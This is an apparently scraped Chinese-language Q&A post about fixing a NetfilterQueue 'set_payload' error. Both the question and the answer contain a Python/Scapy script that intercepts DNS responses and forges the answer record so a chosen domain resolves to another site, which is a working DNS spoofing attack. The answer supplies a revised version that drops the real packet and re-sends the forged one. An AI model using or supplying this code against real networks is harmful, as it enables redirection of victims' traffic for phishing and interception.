Netfilterqueue,Scapy set_payload

Netfilterqueue, Scapy set_payload

我正在尝试使用 NetfilterQueue 和 Python3 更改数据包的有效负载,但是,我收到错误消息:

AttributeError: 'netfilterqueue.Packet' object has no attribute 'set_payload'

下面是我正在使用的代码。我该如何纠正错误?

import netfilterqueue
import scapy.all as scapy

def process_packet(packet):
    scapy_packet = scapy.IP(packet.get_payload())
    if scapy_packet.haslayer(scapy.DNSRR):
        qname = str(scapy_packet[scapy.DNSQR].qname)
        print(qname)
        if "<web_address>" in qname:
            print("[+] Spoofing target...")
            answer = scapy.DNSRR(rrname = qname, rdata = "<web_site>")
            scapy_packet[scapy.DNS].an = answer
            scapy_packet[scapy.DNS].ancount = 1
            del scapy_packet[scapy.IP].len
            del scapy_packet[scapy.IP].chksum
            del scapy_packet[scapy.UDP].chksum
            del scapy_packet[scapy.UDP].len
            packet.set_payload(str(scapy_packet))
    packet.accept()

queue = netfilterqueue.NetfilterQueue()
queue.bind(0,process_packet)
queue.run()

我遇到了同样的问题,netfilterqueue 似乎有点过时了。 对于您的情况,我建议您默认情况下只丢弃数据包,而不是 packet.accept() 使用 scapy 的 send() 函数:

def process_packet(packet):
    scapy_packet = scapy.IP(packet.get_payload())
    if scapy_packet.haslayer(scapy.DNSRR):
        qname = str(scapy_packet[scapy.DNSQR].qname)
        print(qname)
        if "<web_address>" in qname:
            print("[+] Spoofing target...")
            answer = scapy.DNSRR(rrname = qname, rdata = "<web_site>")
            scapy_packet[scapy.DNS].an = answer
            scapy_packet[scapy.DNS].ancount = 1
            del scapy_packet[scapy.IP].len
            del scapy_packet[scapy.IP].chksum
            del scapy_packet[scapy.UDP].chksum
            del scapy_packet[scapy.UDP].len



    packet.drop()
    send(scapy_packet)